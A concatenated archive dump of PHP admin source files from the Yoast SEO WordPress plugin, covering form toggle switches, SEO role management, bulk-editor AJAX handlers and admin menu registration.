    '; } /** * Create a toggle switch input field using two radio buttons. * * @since 3.1 * * @param string $variable The variable within the option to create the radio buttons for. * @param array $values Associative array of on/off keys and their values to be used as * the label elements text for the radio buttons. Optionally, each * value can be an array of visible label text and screen reader text. * @param string $label The visual label for the radio buttons group, used as the fieldset legend. * @param string $help Inline Help that will be printed out before the visible toggles text. * @param array $attr Extra attributes to add to the toggle switch. * * @return void */ public function toggle_switch( $variable, $values, $label, $help = '', $attr = [] ) { if ( ! is_array( $values ) || $values === [] ) { return; } $defaults = [ 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); if ( isset( $attr['preserve_disabled_value'] ) && $attr['preserve_disabled_value'] ) { $this->hidden( $variable ); $variable .= '_disabled'; } $val = $this->get_field_value( $variable, false ); if ( $val === true ) { $val = 'on'; } if ( $val === false ) { $val = 'off'; } $help_class = ! empty( $help ) ? ' switch-container__has-help' : ''; $has_premium_upsell = ( isset( $attr['show_premium_upsell'] ) && $attr['show_premium_upsell'] && isset( $attr['premium_upsell_url'] ) && ! empty( $attr['premium_upsell_url'] ) ); $upsell_class = ( $has_premium_upsell ) ? ' premium-upsell' : ''; $var_esc = esc_attr( $variable ); printf( '
    ', esc_attr( 'switch-container' . $help_class . $upsell_class ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before. echo '
    ', $label, '', $help; // Show disabled note if attribute does not exists or does exist and is set to true. if ( ! isset( $attr['show_disabled_note'] ) || ( $attr['show_disabled_note'] === true ) ) { if ( isset( $attr['note_when_disabled'] ) ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before. echo $this->get_disabled_note( $variable, $attr['note_when_disabled'] ); } else { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before. echo $this->get_disabled_note( $variable ); } } echo '
    '; foreach ( $values as $key => $value ) { $screen_reader_text_html = ''; if ( is_array( $value ) ) { $screen_reader_text = $value['screen_reader_text']; $screen_reader_text_html = ' ' . esc_html( $screen_reader_text ) . ''; $value = $value['text']; } $key_esc = esc_attr( $key ); $for = $var_esc . '-' . $key_esc; $disabled_attribute = $this->get_disabled_attribute( $variable, $attr ); // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded and all other output is properly escaped. echo '', // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- output escaped before. ''; } $upsell_button = ''; if ( $has_premium_upsell ) { $upsell_button = '' . esc_html__( 'Unlock with Premium!', 'wordpress-seo' ) /* translators: Hidden accessibility text. */ . '' . esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '' . ''; } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- All variable output is escaped above. echo '
    ' . $upsell_button . '
    ' . PHP_EOL . PHP_EOL; } /** * Creates a toggle switch to define whether an indexable should be indexed or not. * * @param string $variable The variable within the option to create the radio buttons for. * @param string $label The visual label for the radio buttons group, used as the fieldset legend. * @param string $help Inline Help that will be printed out before the visible toggles text. * @param array $attr Extra attributes to add to the index switch. * * @return void */ public function index_switch( $variable, $label, $help = '', $attr = [] ) { $defaults = [ 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); $index_switch_values = [ 'off' => __( 'On', 'wordpress-seo' ), 'on' => __( 'Off', 'wordpress-seo' ), ]; $is_disabled = ( isset( $attr['disabled'] ) && $attr['disabled'] ); $this->toggle_switch( $variable, $index_switch_values, sprintf( /* translators: %s expands to an indexable object's name, like a post type or taxonomy */ esc_html__( 'Show %s in search results?', 'wordpress-seo' ), $label ), $help, [ 'disabled' => $is_disabled ] ); } /** * Creates a toggle switch to show hide certain options. * * @param string $variable The variable within the option to create the radio buttons for. * @param string $label The visual label for the radio buttons group, used as the fieldset legend. * @param bool $inverse_keys Whether or not the option keys need to be inverted to support older functions. * @param string $help Inline Help that will be printed out before the visible toggles text. * @param array $attr Extra attributes to add to the show-hide switch. * * @return void */ public function show_hide_switch( $variable, $label, $inverse_keys = false, $help = '', $attr = [] ) { $defaults = [ 'disabled' => false, ]; $attr = wp_parse_args( $attr, $defaults ); $on_key = ( $inverse_keys ) ? 'off' : 'on'; $off_key = ( $inverse_keys ) ? 'on' : 'off'; $show_hide_switch = [ $on_key => __( 'On', 'wordpress-seo' ), $off_key => __( 'Off', 'wordpress-seo' ), ]; $is_disabled = ( isset( $attr['disabled'] ) && $attr['disabled'] ); $this->toggle_switch( $variable, $show_hide_switch, $label, $help, [ 'disabled' => $is_disabled ] ); } /** * Retrieves the value for the form field. * * @param string $field_name The field name to retrieve the value for. * @param string|null $default_value The default value, when field has no value. * * @return mixed|null The retrieved value. */ protected function get_field_value( $field_name, $default_value = null ) { // On multisite subsites, the Usage tracking feature should always be set to Off. if ( $this->is_tracking_on_subsite( $field_name ) ) { return false; } return WPSEO_Options::get( $field_name, $default_value ); } /** * Checks whether a given control should be disabled. * * @param string $variable The variable within the option to check whether its control should be disabled. * * @return bool True if control should be disabled, false otherwise. */ protected function is_control_disabled( $variable ) { if ( $this->option_instance === null ) { return false; } // Disable the Usage tracking feature for multisite subsites. if ( $this->is_tracking_on_subsite( $variable ) ) { return true; } return $this->option_instance->is_disabled( $variable ); } /** * Gets the explanation note to print if a given control is disabled. * * @param string $variable The variable within the option to print a disabled note for. * @param string $custom_note An optional custom note to print instead. * * @return string Explanation note HTML string, or empty string if no note necessary. */ protected function get_disabled_note( $variable, $custom_note = '' ) { if ( $custom_note === '' && ! $this->is_control_disabled( $variable ) ) { return ''; } $disabled_message = esc_html__( 'This feature has been disabled by the network admin.', 'wordpress-seo' ); // The explanation to show when disabling the Usage tracking feature for multisite subsites. if ( $this->is_tracking_on_subsite( $variable ) ) { $disabled_message = esc_html__( 'This feature has been disabled since subsites never send tracking data.', 'wordpress-seo' ); } if ( $custom_note ) { $disabled_message = esc_html( $custom_note ); } return '

    ' . $disabled_message . '

    '; } /** * Determines whether we are dealing with the Usage tracking feature on a multisite subsite. * This feature requires specific behavior for the toggle switch. * * @param string $feature_setting The feature setting. * * @return bool True if we are dealing with the Usage tracking feature on a multisite subsite. */ protected function is_tracking_on_subsite( $feature_setting ) { return ( $feature_setting === 'tracking' && ! is_network_admin() && ! is_main_site() ); } /** * Returns the disabled attribute HTML. * * @param string $variable The variable within the option of the related form element. * @param array $attr Extra attributes added to the form element. * * @return string The disabled attribute HTML. */ protected function get_disabled_attribute( $variable, $attr ) { if ( $this->is_control_disabled( $variable ) || ( isset( $attr['disabled'] ) && $attr['disabled'] ) ) { return ' disabled'; } return ''; } } roles/class-register-roles.php000064400000001142147207033440012454 0ustar00register( 'wpseo_manager', 'SEO Manager', 'editor' ); $role_manager->register( 'wpseo_editor', 'SEO Editor', 'editor' ); } } roles/class-role-manager.php000064400000001401147207033440012055 0ustar00roles[ $role ] = (object) [ 'display_name' => $display_name, 'template' => $template, ]; } /** * Returns the list of registered roles. * * @return string[] List or registered roles. */ public function get_roles() { return array_keys( $this->roles ); } /** * Adds the registered roles. * * @return void */ public function add() { foreach ( $this->roles as $role => $data ) { $capabilities = $this->get_capabilities( $data->template ); $capabilities = $this->filter_existing_capabilties( $role, $capabilities ); $this->add_role( $role, $data->display_name, $capabilities ); } } /** * Removes the registered roles. * * @return void */ public function remove() { $roles = array_keys( $this->roles ); array_map( [ $this, 'remove_role' ], $roles ); } /** * Returns the capabilities for the specified role. * * @param string $role Role to fetch capabilities from. * * @return array List of capabilities. */ protected function get_capabilities( $role ) { if ( ! is_string( $role ) || empty( $role ) ) { return []; } $wp_role = get_role( $role ); if ( ! $wp_role ) { return []; } return $wp_role->capabilities; } /** * Returns true if the capability exists on the role. * * @param WP_Role $role Role to check capability against. * @param string $capability Capability to check. * * @return bool True if the capability is defined for the role. */ protected function capability_exists( WP_Role $role, $capability ) { return ! array_key_exists( $capability, $role->capabilities ); } /** * Filters out capabilities that are already set for the role. * * This makes sure we don't override configurations that have been previously set. * * @param string $role The role to check against. * @param array $capabilities The capabilities that should be set. * * @return array Capabilties that can be safely set. */ protected function filter_existing_capabilties( $role, array $capabilities ) { if ( $capabilities === [] ) { return $capabilities; } $wp_role = get_role( $role ); if ( ! $wp_role ) { return $capabilities; } foreach ( $capabilities as $capability => $grant ) { if ( $this->capability_exists( $wp_role, $capability ) ) { unset( $capabilities[ $capability ] ); } } return $capabilities; } /** * Adds a role to the system. * * @param string $role Role to add. * @param string $display_name Name to display for the role. * @param array $capabilities Capabilities to add to the role. * * @return void */ abstract protected function add_role( $role, $display_name, array $capabilities = [] ); /** * Removes a role from the system. * * @param string $role Role to remove. * * @return void */ abstract protected function remove_role( $role ); } roles/class-role-manager-wp.php000064400000002657147207033440012517 0ustar00 $grant ) { $wp_role->add_cap( $capability, $grant ); } return; } add_role( $role, $display_name, $capabilities ); } /** * Removes a role from the system. * * @param string $role Role to remove. * * @return void */ protected function remove_role( $role ) { remove_role( $role ); } /** * Formats the capabilities to the required format. * * @param array $capabilities Capabilities to format. * @param bool $enabled Whether these capabilities should be enabled or not. * * @return array Formatted capabilities. */ protected function format_capabilities( array $capabilities, $enabled = true ) { // Flip keys and values. $capabilities = array_flip( $capabilities ); // Set all values to $enabled. return array_fill_keys( array_keys( $capabilities ), $enabled ); } } roles/class-role-manager-factory.php000064400000000577147207033440013537 0ustar00 'success', 'post_id' => $post_id, "new_{$return_key}" => $sanitized_new_meta_value, "original_{$return_key}" => $orig_meta_value, ]; $the_post = get_post( $post_id ); if ( empty( $the_post ) ) { $upsert_results['status'] = 'failure'; $upsert_results['results'] = __( 'Post doesn\'t exist.', 'wordpress-seo' ); return $upsert_results; } $post_type_object = get_post_type_object( $the_post->post_type ); if ( ! $post_type_object ) { $upsert_results['status'] = 'failure'; $upsert_results['results'] = sprintf( /* translators: %s expands to post type. */ __( 'Post has an invalid Content Type: %s.', 'wordpress-seo' ), $the_post->post_type ); return $upsert_results; } if ( ! current_user_can( $post_type_object->cap->edit_posts ) ) { $upsert_results['status'] = 'failure'; $upsert_results['results'] = sprintf( /* translators: %s expands to post type name. */ __( 'You can\'t edit %s.', 'wordpress-seo' ), $post_type_object->label ); return $upsert_results; } if ( ! current_user_can( $post_type_object->cap->edit_others_posts ) && (int) $the_post->post_author !== get_current_user_id() ) { $upsert_results['status'] = 'failure'; $upsert_results['results'] = sprintf( /* translators: %s expands to the name of a post type (plural). */ __( 'You can\'t edit %s that aren\'t yours.', 'wordpress-seo' ), $post_type_object->label ); return $upsert_results; } if ( $sanitized_new_meta_value === $orig_meta_value && $sanitized_new_meta_value !== $new_meta_value ) { $upsert_results['status'] = 'failure'; $upsert_results['results'] = __( 'You have used HTML in your value which is not allowed.', 'wordpress-seo' ); return $upsert_results; } $res = update_post_meta( $post_id, $meta_key, $sanitized_new_meta_value ); $upsert_results['status'] = ( $res !== false ) ? 'success' : 'failure'; $upsert_results['results'] = $res; return $upsert_results; } /** * Save all titles sent from the Bulk Editor. * * @return void */ function wpseo_save_all_titles() { wpseo_save_all( 'title' ); } add_action( 'wp_ajax_wpseo_save_all_titles', 'wpseo_save_all_titles' ); /** * Save all description sent from the Bulk Editor. * * @return void */ function wpseo_save_all_descriptions() { wpseo_save_all( 'metadesc' ); } add_action( 'wp_ajax_wpseo_save_all_descriptions', 'wpseo_save_all_descriptions' ); /** * Utility function to save values. * * @param string $what Type of item so save. * * @return void */ function wpseo_save_all( $what ) { check_ajax_referer( 'wpseo-bulk-editor' ); $results = []; if ( ! isset( $_POST['items'], $_POST['existingItems'] ) ) { wpseo_ajax_json_echo_die( $results ); } $new_values = array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], wp_unslash( (array) $_POST['items'] ) ); $original_values = array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], wp_unslash( (array) $_POST['existingItems'] ) ); foreach ( $new_values as $post_id => $new_value ) { $original_value = $original_values[ $post_id ]; $results[] = wpseo_upsert_new( $what, $post_id, $new_value, $original_value ); } wpseo_ajax_json_echo_die( $results ); } /** * Insert a new value. * * @param string $what Item type (such as title). * @param int $post_id Post ID. * @param string $new_value New value to record. * @param string $original Original value. * * @return string */ function wpseo_upsert_new( $what, $post_id, $new_value, $original ) { $meta_key = WPSEO_Meta::$meta_prefix . $what; return wpseo_upsert_meta( $post_id, $new_value, $original, $meta_key, $what ); } /** * Retrieves the post ids where the keyword is used before as well as the types of those posts. * * @return void */ function ajax_get_keyword_usage_and_post_types() { check_ajax_referer( 'wpseo-keyword-usage-and-post-types', 'nonce' ); if ( ! isset( $_POST['post_id'], $_POST['keyword'] ) || ! is_string( $_POST['keyword'] ) ) { die( '-1' ); } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We are casting to an integer. $post_id = (int) wp_unslash( $_POST['post_id'] ); if ( $post_id === 0 || ! current_user_can( 'edit_post', $post_id ) ) { die( '-1' ); } $keyword = sanitize_text_field( wp_unslash( $_POST['keyword'] ) ); $post_ids = WPSEO_Meta::keyword_usage( $keyword, $post_id ); if ( ! empty( $post_ids ) ) { $post_types = WPSEO_Meta::post_types_for_ids( $post_ids ); } else { $post_types = []; } $return_object = [ 'keyword_usage' => $post_ids, 'post_types' => $post_types, ]; wp_die( // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe. WPSEO_Utils::format_json_encode( $return_object ) ); } add_action( 'wp_ajax_get_focus_keyword_usage_and_post_types', 'ajax_get_keyword_usage_and_post_types' ); /** * Retrieves the keyword for the keyword doubles of the termpages. * * @return void */ function ajax_get_term_keyword_usage() { check_ajax_referer( 'wpseo-keyword-usage', 'nonce' ); if ( ! isset( $_POST['post_id'], $_POST['keyword'], $_POST['taxonomy'] ) || ! is_string( $_POST['keyword'] ) || ! is_string( $_POST['taxonomy'] ) ) { wp_die( -1 ); } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are casting the unsafe input to an integer. $post_id = (int) wp_unslash( $_POST['post_id'] ); if ( $post_id === 0 ) { wp_die( -1 ); } $keyword = sanitize_text_field( wp_unslash( $_POST['keyword'] ) ); $taxonomy_name = sanitize_text_field( wp_unslash( $_POST['taxonomy'] ) ); $taxonomy = get_taxonomy( $taxonomy_name ); if ( ! $taxonomy ) { wp_die( 0 ); } if ( ! current_user_can( $taxonomy->cap->edit_terms ) ) { wp_die( -1 ); } $usage = WPSEO_Taxonomy_Meta::get_keyword_usage( $keyword, $post_id, $taxonomy_name ); // Normalize the result so it is the same as the post keyword usage AJAX request. $usage = $usage[ $keyword ]; wp_die( // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe. WPSEO_Utils::format_json_encode( $usage ) ); } add_action( 'wp_ajax_get_term_keyword_usage', 'ajax_get_term_keyword_usage' ); /** * Registers hooks for all AJAX integrations. * * @return void */ function wpseo_register_ajax_integrations() { $integrations = [ new Yoast_Network_Admin() ]; foreach ( $integrations as $integration ) { $integration->register_ajax_hooks(); } } wpseo_register_ajax_integrations(); new WPSEO_Shortcode_Filter(); new WPSEO_Taxonomy_Columns(); /* ********************* DEPRECATED FUNCTIONS ********************* */ /** * Retrieves the keyword for the keyword doubles. * * @return void */ function ajax_get_keyword_usage() { _deprecated_function( __METHOD__, 'WPSEO 20.4' ); check_ajax_referer( 'wpseo-keyword-usage', 'nonce' ); if ( ! isset( $_POST['post_id'], $_POST['keyword'] ) || ! is_string( $_POST['keyword'] ) ) { die( '-1' ); } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We are casting to an integer. $post_id = (int) wp_unslash( $_POST['post_id'] ); if ( $post_id === 0 || ! current_user_can( 'edit_post', $post_id ) ) { die( '-1' ); } $keyword = sanitize_text_field( wp_unslash( $_POST['keyword'] ) ); wp_die( // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe. WPSEO_Utils::format_json_encode( WPSEO_Meta::keyword_usage( $keyword, $post_id ) ) ); } menu/class-menu.php000064400000004232147207033440010275 0ustar00register_hooks(); if ( WPSEO_Utils::is_plugin_network_active() ) { $network_admin_menu = new WPSEO_Network_Admin_Menu( $this ); $network_admin_menu->register_hooks(); } $capability_normalizer = new WPSEO_Submenu_Capability_Normalize(); $capability_normalizer->register_hooks(); } /** * Returns the main menu page identifier. * * @return string Page identifier to use. */ public function get_page_identifier() { return self::PAGE_IDENTIFIER; } /** * Loads the requested admin settings page. * * @return void */ public function load_page() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['page'] ) && is_string( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $page = sanitize_text_field( wp_unslash( $_GET['page'] ) ); $this->show_page( $page ); } } /** * Shows an admin settings page. * * @param string $page Page to display. * * @return void */ protected function show_page( $page ) { switch ( $page ) { case 'wpseo_tools': require_once WPSEO_PATH . 'admin/pages/tools.php'; break; case 'wpseo_licenses': require_once WPSEO_PATH . 'admin/pages/licenses.php'; break; case 'wpseo_files': require_once WPSEO_PATH . 'admin/views/tool-file-editor.php'; break; default: require_once WPSEO_PATH . 'admin/pages/dashboard.php'; break; } } } menu/class-admin-menu.php000064400000007515147207033440011372 0ustar00get_manage_capability(); $page_identifier = $this->get_page_identifier(); $admin_page_callback = $this->get_admin_page_callback(); // Get all submenu pages. $submenu_pages = $this->get_submenu_pages(); foreach ( $submenu_pages as $submenu_page ) { if ( WPSEO_Capability_Utils::current_user_can( $submenu_page[3] ) ) { $manage_capability = $submenu_page[3]; $page_identifier = $submenu_page[4]; $admin_page_callback = $submenu_page[5]; break; } } foreach ( $submenu_pages as $index => $submenu_page ) { $submenu_pages[ $index ][0] = $page_identifier; } /* * The current user has the capability to control anything. * This means that all submenus and dashboard can be shown. */ global $admin_page_hooks; add_menu_page( 'Yoast SEO: ' . __( 'Dashboard', 'wordpress-seo' ), 'Yoast SEO ' . $this->get_notification_counter(), $manage_capability, $page_identifier, $admin_page_callback, $this->get_icon_svg(), 99 ); // Wipe notification bits from hooks. // phpcs:ignore WordPress.WP.GlobalVariablesOverride -- This is a deliberate action. $admin_page_hooks[ $page_identifier ] = 'seo'; // Add submenu items to the main menu if possible. $this->register_submenu_pages( $submenu_pages ); } /** * Returns the list of registered submenu pages. * * @return array List of registered submenu pages. */ public function get_submenu_pages() { global $wpseo_admin; $search_console_callback = null; // Account for when the available submenu pages are requested from outside the admin. if ( isset( $wpseo_admin ) ) { $google_search_console = new WPSEO_GSC(); $search_console_callback = [ $google_search_console, 'display' ]; } // Submenu pages. $submenu_pages = [ $this->get_submenu_page( __( 'Search Console', 'wordpress-seo' ), 'wpseo_search_console', $search_console_callback ), $this->get_submenu_page( __( 'Tools', 'wordpress-seo' ), 'wpseo_tools' ), $this->get_submenu_page( $this->get_license_page_title(), 'wpseo_licenses' ), ]; /** * Filter: 'wpseo_submenu_pages' - Collects all submenus that need to be shown. * * @param array $submenu_pages List with all submenu pages. */ return (array) apply_filters( 'wpseo_submenu_pages', $submenu_pages ); } /** * Returns the notification count in HTML format. * * @return string The notification count in HTML format. */ protected function get_notification_counter() { $notification_center = Yoast_Notification_Center::get(); $notification_count = $notification_center->get_notification_count(); // Add main page. /* translators: Hidden accessibility text; %s: number of notifications. */ $notifications = sprintf( _n( '%s notification', '%s notifications', $notification_count, 'wordpress-seo' ), number_format_i18n( $notification_count ) ); return sprintf( '%2$s', $notification_count, $notifications ); } /** * Returns the capability that is required to manage all options. * * @return string Capability to check against. */ protected function get_manage_capability() { return 'wpseo_manage_options'; } } menu/class-replacevar-editor.php000064400000013702147207033440012743 0ustar00 true, 'label_title' => '', 'label_description' => '', 'description_placeholder' => '', 'has_new_badge' => false, 'is_disabled' => false, 'has_premium_badge' => false, ] ); $this->validate_arguments( $arguments ); $this->yform = $yform; $this->arguments = [ 'title' => (string) $arguments['title'], 'description' => (string) $arguments['description'], 'page_type_recommended' => (string) $arguments['page_type_recommended'], 'page_type_specific' => (string) $arguments['page_type_specific'], 'paper_style' => (bool) $arguments['paper_style'], 'label_title' => (string) $arguments['label_title'], 'label_description' => (string) $arguments['label_description'], 'description_placeholder' => (string) $arguments['description_placeholder'], 'has_new_badge' => (bool) $arguments['has_new_badge'], 'is_disabled' => (bool) $arguments['is_disabled'], 'has_premium_badge' => (bool) $arguments['has_premium_badge'], ]; } /** * Renders a div for the react application to mount to, and hidden inputs where * the app should store it's value so they will be properly saved when the form * is submitted. * * @return void */ public function render() { $this->yform->hidden( $this->arguments['title'], $this->arguments['title'] ); $this->yform->hidden( $this->arguments['description'], $this->arguments['description'] ); printf( '
    ', esc_attr( $this->arguments['title'] ), esc_attr( $this->arguments['description'] ), esc_attr( $this->arguments['page_type_recommended'] ), esc_attr( $this->arguments['page_type_specific'] ), esc_attr( $this->arguments['paper_style'] ), esc_attr( $this->arguments['label_title'] ), esc_attr( $this->arguments['label_description'] ), esc_attr( $this->arguments['description_placeholder'] ), esc_attr( $this->arguments['has_new_badge'] ), esc_attr( $this->arguments['is_disabled'] ), esc_attr( $this->arguments['has_premium_badge'] ) ); } /** * Validates the replacement variable editor arguments. * * @param array $arguments The arguments to validate. * * @throws InvalidArgumentException Thrown when not all required arguments are present. * * @return void */ protected function validate_arguments( array $arguments ) { $required_arguments = [ 'title', 'description', 'page_type_recommended', 'page_type_specific', 'paper_style', ]; foreach ( $required_arguments as $field_name ) { if ( ! array_key_exists( $field_name, $arguments ) ) { throw new InvalidArgumentException( sprintf( /* translators: %1$s expands to the missing field name. */ __( 'Not all required fields are given. Missing field %1$s', 'wordpress-seo' ), $field_name ) ); } } } } menu/class-base-menu.php000064400000021110147207033440011177 0ustar00menu = $menu; } /** * Returns the list of registered submenu pages. * * @return array List of registered submenu pages. */ abstract public function get_submenu_pages(); /** * Creates a submenu formatted array. * * @param string $page_title Page title to use. * @param string $page_slug Page slug to use. * @param callable|null $callback Optional. Callback which handles the page request. * @param callable[]|null $hook Optional. Hook to trigger when the page is registered. * * @return array Formatted submenu. */ protected function get_submenu_page( $page_title, $page_slug, $callback = null, $hook = null ) { if ( $callback === null ) { $callback = $this->get_admin_page_callback(); } return [ $this->get_page_identifier(), '', $page_title, $this->get_manage_capability(), $page_slug, $callback, $hook, ]; } /** * Registers submenu pages as menu pages. * * This method should only be used if the user does not have the required capabilities * to access the parent menu page. * * @param array $submenu_pages List of submenu pages to register. * * @return void */ protected function register_menu_pages( $submenu_pages ) { if ( ! is_array( $submenu_pages ) || empty( $submenu_pages ) ) { return; } // Loop through submenu pages and add them. array_walk( $submenu_pages, [ $this, 'register_menu_page' ] ); } /** * Registers submenu pages. * * @param array $submenu_pages List of submenu pages to register. * * @return void */ protected function register_submenu_pages( $submenu_pages ) { if ( ! is_array( $submenu_pages ) || empty( $submenu_pages ) ) { return; } // Loop through submenu pages and add them. array_walk( $submenu_pages, [ $this, 'register_submenu_page' ] ); } /** * Registers a submenu page as a menu page. * * This method should only be used if the user does not have the required capabilities * to access the parent menu page. * * @param array $submenu_page { * Submenu page definition. * * @type string $0 Parent menu page slug. * @type string $1 Page title, currently unused. * @type string $2 Title to display in the menu. * @type string $3 Required capability to access the page. * @type string $4 Page slug. * @type callable $5 Callback to run when the page is rendered. * @type array $6 Optional. List of callbacks to run when the page is loaded. * } * * @return void */ protected function register_menu_page( $submenu_page ) { // If the submenu page requires the general manage capability, it must be added as an actual submenu page. if ( $submenu_page[3] === $this->get_manage_capability() ) { return; } $page_title = 'Yoast SEO: ' . $submenu_page[2]; // Register submenu page as menu page. $hook_suffix = add_menu_page( $page_title, $submenu_page[2], $submenu_page[3], $submenu_page[4], $submenu_page[5], $this->get_icon_svg(), 99 ); // If necessary, add hooks for the submenu page. if ( isset( $submenu_page[6] ) && ( is_array( $submenu_page[6] ) ) ) { $this->add_page_hooks( $hook_suffix, $submenu_page[6] ); } } /** * Registers a submenu page. * * This method will override the capability of the page to automatically use the * general manage capability. Use the `register_menu_page()` method if the submenu * page should actually use a different capability. * * @param array $submenu_page { * Submenu page definition. * * @type string $0 Parent menu page slug. * @type string $1 Page title, currently unused. * @type string $2 Title to display in the menu. * @type string $3 Required capability to access the page. * @type string $4 Page slug. * @type callable $5 Callback to run when the page is rendered. * @type array $6 Optional. List of callbacks to run when the page is loaded. * } * * @return void */ protected function register_submenu_page( $submenu_page ) { $page_title = $submenu_page[2]; // We cannot use $submenu_page[1] because add-ons define that, so hard-code this value. if ( $submenu_page[4] === 'wpseo_licenses' ) { $page_title = $this->get_license_page_title(); } /* * Handle the Google Search Console special case by passing a fake parent * page slug. This way, the sub-page is stil registered and can be accessed * directly. Its menu item won't be displayed. */ if ( $submenu_page[4] === 'wpseo_search_console' ) { // Set the parent page slug to a non-existing one. $submenu_page[0] = 'wpseo_fake_menu_parent_page_slug'; } $page_title .= ' - Yoast SEO'; // Register submenu page. $hook_suffix = add_submenu_page( $submenu_page[0], $page_title, $submenu_page[2], $submenu_page[3], $submenu_page[4], $submenu_page[5] ); // If necessary, add hooks for the submenu page. if ( isset( $submenu_page[6] ) && ( is_array( $submenu_page[6] ) ) ) { $this->add_page_hooks( $hook_suffix, $submenu_page[6] ); } } /** * Adds hook callbacks for a given admin page hook suffix. * * @param string $hook_suffix Admin page hook suffix, as returned by `add_menu_page()` * or `add_submenu_page()`. * @param array $callbacks Callbacks to add. * * @return void */ protected function add_page_hooks( $hook_suffix, array $callbacks ) { foreach ( $callbacks as $callback ) { add_action( 'load-' . $hook_suffix, $callback ); } } /** * Gets the main admin page identifier. * * @return string Admin page identifier. */ protected function get_page_identifier() { return $this->menu->get_page_identifier(); } /** * Checks whether the current user has capabilities to manage all options. * * @return bool True if capabilities are sufficient, false otherwise. */ protected function check_manage_capability() { return WPSEO_Capability_Utils::current_user_can( $this->get_manage_capability() ); } /** * Returns the capability that is required to manage all options. * * @return string Capability to check against. */ abstract protected function get_manage_capability(); /** * Returns the page handler callback. * * @return array Callback page handler. */ protected function get_admin_page_callback() { return [ $this->menu, 'load_page' ]; } /** * Returns the page title to use for the licenses page. * * @return string The title for the license page. */ protected function get_license_page_title() { static $title = null; if ( $title === null ) { $title = __( 'Upgrades', 'wordpress-seo' ); } if ( YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) && ! YoastSEO()->helpers->product->is_premium() ) { $title = __( 'Upgrades', 'wordpress-seo' ) . '' . __( '30% OFF', 'wordpress-seo' ) . ''; } return $title; } /** * Returns a base64 URL for the svg for use in the menu. * * @param bool $base64 Whether or not to return base64'd output. * * @return string SVG icon. */ public function get_icon_svg( $base64 = true ) { $svg = ''; if ( $base64 ) { //phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode -- This encoding is intended. return 'data:image/svg+xml;base64,' . base64_encode( $svg ); } return $svg; } } menu/class-network-admin-menu.php000064400000004377147207033440013064 0ustar00check_manage_capability() ) { return; } add_menu_page( __( 'Network Settings', 'wordpress-seo' ) . ' - Yoast SEO', 'Yoast SEO', $this->get_manage_capability(), $this->get_page_identifier(), [ $this, 'network_config_page' ], $this->get_icon_svg() ); $submenu_pages = $this->get_submenu_pages(); $this->register_submenu_pages( $submenu_pages ); } /** * Returns the list of registered submenu pages. * * @return array List of registered submenu pages. */ public function get_submenu_pages() { // Submenu pages. $submenu_pages = [ $this->get_submenu_page( __( 'General', 'wordpress-seo' ), $this->get_page_identifier(), [ $this, 'network_config_page' ] ), ]; if ( WPSEO_Utils::allow_system_file_edit() === true ) { $submenu_pages[] = $this->get_submenu_page( __( 'Edit Files', 'wordpress-seo' ), 'wpseo_files' ); } $submenu_pages[] = $this->get_submenu_page( __( 'Extensions', 'wordpress-seo' ), 'wpseo_licenses' ); return $submenu_pages; } /** * Loads the form for the network configuration page. * * @return void */ public function network_config_page() { require_once WPSEO_PATH . 'admin/pages/network.php'; } /** * Checks whether the current user has capabilities to manage all options. * * @return bool True if capabilities are sufficient, false otherwise. */ protected function check_manage_capability() { return current_user_can( $this->get_manage_capability() ); } /** * Returns the capability that is required to manage all options. * * @return string Capability to check against. */ protected function get_manage_capability() { return 'wpseo_manage_network_options'; } } menu/class-submenu-capability-normalize.php000064400000001770147207033440015130 0ustar00 $submenu_page ) { if ( $submenu_page[3] === 'manage_options' ) { $submenu_pages[ $index ][3] = 'wpseo_manage_options'; } } return $submenu_pages; } } menu/class-replacevar-field.php000064400000004167147207033440012545 0ustar00yform = $yform; $this->field_id = $field_id; $this->label = $label; $this->page_type_recommended = $page_type_recommended; $this->page_type_specific = $page_type_specific; } /** * Renders a div for the react application to mount to, and hidden inputs where * the app should store it's value so they will be properly saved when the form * is submitted. * * @return void */ public function render() { $this->yform->hidden( $this->field_id, $this->field_id ); printf( '
    ', esc_attr( $this->field_id ), esc_attr( $this->label ), esc_attr( $this->page_type_recommended ), esc_attr( $this->page_type_specific ) ); } } class-asset.php000064400000010465147207033440007511 0ustar00 [], 'in_footer' => true, 'rtl' => true, 'media' => 'all', 'version' => '', 'suffix' => '', 'strategy' => '', ]; /** * Constructs an instance of the WPSEO_Admin_Asset class. * * @param array $args The arguments for this asset. * * @throws InvalidArgumentException Throws when no name or src has been provided. */ public function __construct( array $args ) { if ( ! isset( $args['name'] ) ) { throw new InvalidArgumentException( 'name is a required argument' ); } if ( ! isset( $args['src'] ) ) { throw new InvalidArgumentException( 'src is a required argument' ); } $args = array_merge( $this->defaults, $args ); $this->name = $args['name']; $this->src = $args['src']; $this->deps = $args['deps']; $this->version = $args['version']; $this->media = $args['media']; $this->in_footer = $args['in_footer']; $this->strategy = $args['strategy']; $this->rtl = $args['rtl']; $this->suffix = $args['suffix']; } /** * Returns the asset identifier. * * @return string */ public function get_name() { return $this->name; } /** 